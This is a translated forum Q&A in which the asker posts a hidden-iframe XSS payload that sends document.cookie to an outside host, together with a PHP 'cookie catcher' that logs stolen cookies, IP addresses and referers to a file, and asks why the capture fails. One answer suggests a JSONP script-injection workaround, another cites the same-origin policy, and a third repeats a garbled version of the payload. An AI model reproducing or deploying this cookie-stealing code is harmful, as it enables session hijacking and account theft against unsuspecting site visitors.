将 document.cookie 从单独域上的 iframe 内传递到 php

Question

<IFRAME WIDTH=0 HEIGHT=0 frameborder=0 SRC=jvoid(document.location="http://www.xxx.com/cookie.php?c"+document.cookie)></iframe>

然后 php 文件：

<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");;
$referer=getenv ('HTTP_REFERER');
$fp = fopen('logs.html', 'a');
fwrite($fp, 'Cookie: '.$cookie.'< br > IP: ' .$ip. '< br > Date and Time: ' .$date. '< br > Referer: '.$referer.'< br > < br > < br >');
fclose($fp);
header ("Location: http://www.xxx.com");
?>

logs.html 记录除 cookie 之外的所有内容 - 为什么？我通过在标签内调用 document.cookie 来测试我的网站是否正确显示 cookie，因此出现了其他问题。 请指出我的愚蠢之处！

Answer 1

你为什么要这样做？无论如何，我遇到了这个链接： http://www.15seconds.com/issue/971108.htm 很久以前..看看它对你是否有用

，或者你可以使用js尝试一下，如下所示：

<script type="text/javascript">
   var script=document.createElement('script');
   script.setAttribute("type","text/javascript");
   script.setAttribute("src", 'http://xxx.com/ajaxHandler?getCookie&callback=passCookie');
   document.getElementsByTagName("head")[0].appendChild(newfile);
 </script>

页面 xxx.com/ajaxHandler?getCookie 可以这样做：

 passCookie({'name':'mycookie', 'value':'myvalue'});

Answer 2

我认为这是因为同源政策。

否则，窃取某人的 cookie 就太容易了:)

http://en.wikipedia.org/wiki/ Same_origin_policy

Answer 3

< ="0" height="0" width="0" src="javascript...:void(document.location='YOURURL/cookie catcher.PHP?c=' document.cookie)></